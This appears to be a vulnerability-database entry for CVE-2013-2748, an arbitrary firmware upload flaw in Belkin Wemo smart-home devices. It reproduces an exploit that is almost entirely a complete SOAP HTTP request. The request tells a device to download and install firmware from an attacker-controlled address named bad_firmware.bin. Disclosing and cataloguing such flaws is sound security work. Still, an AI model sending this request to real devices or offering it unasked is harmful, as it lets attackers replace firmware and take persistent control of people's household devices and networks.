Belkin Wemo - Arbitrary Firmware Upload

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Belkin Wemo Arbitrary Firmware Vulnerability. Vulnerability in Belkin Wemo Devices allows arbitrary firmware upload

Reporter	Title	Published	Views	Family All 8
0day.today	Belkin Wemo - Arbitrary Firmware Upload Vulnerability	9 Apr 201300:00	–	zdt
CVE	CVE-2013-2748	28 Jan 202019:49	–	cve
Cvelist	CVE-2013-2748	28 Jan 202019:49	–	cvelist
Exploit DB	Belkin Wemo - Arbitrary Firmware Upload	8 Apr 201300:00	–	exploitdb
exploitpack	Belkin Wemo - Arbitrary Firmware Upload	8 Apr 201300:00	–	exploitpack
NVD	CVE-2013-2748	28 Jan 202020:15	–	nvd
Packet Storm	Belkin Wemo Arbitrary Firmware Upload	7 Apr 201300:00	–	packetstorm
Prion	Information disclosure	28 Jan 202020:15	–	prion


                                                # Exploit Title: Belkin Wemo Arbitrary Firmware Vulnerability
# Date: 4/3/13
# Exploit Author: Daniel Buentello
# Vendor Homepage: http://www.belkin.com/us/wemo
# Version: Any version prior to WeMo_US_2.00.2176.PVT
# CVE : CVE-2013-2748


POST /upnp/control/firmwareupdate1 HTTP/1.1
SOAPACTION: &#34;urn:Belkin:service:firmwareupdate:1#UpdateFirmware&#34;
Content-Length: 
Content-Type: text/xml; charset=&#34;utf-8&#34;
HOST: 10.0.1.8:49153
User-Agent: 

&#60;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&#62;
&#60;s:Envelope xmlns:s=&#34;http://schemas.xmlsoap.org/soap/envelope/&#34; s:encodingStyle=&#34;http://schemas.xmlsoap.org/soap/encoding/&#34;&#62;
 &#60;s:Body&#62;
  &#60;u:UpdateFirmware xmlns:u=&#34;urn:Belkin:service:firmwareupdate:1&#34;&#62;
   &#60;ReleaseDate&#62;07Jan2013&#60;/ReleaseDate&#62;&#60;NewFirmwareVersion&#62;1&#60;/NewFirmwareVersion&#62;&#60;URL&#62;http://10.0.1.99/bad_firmware.bin
  &#60;/u:UpdateFirmware&#62;
 &#60;/s:Body&#62;
&#60;/s:Envelope&#62;

PoC Video:
https://www.youtube.com/watch?v=BcW2q0aHOFo

01 Jul 2014 00:00Current

9.2High risk

Vulners AI Score9.2

EPSS0.43777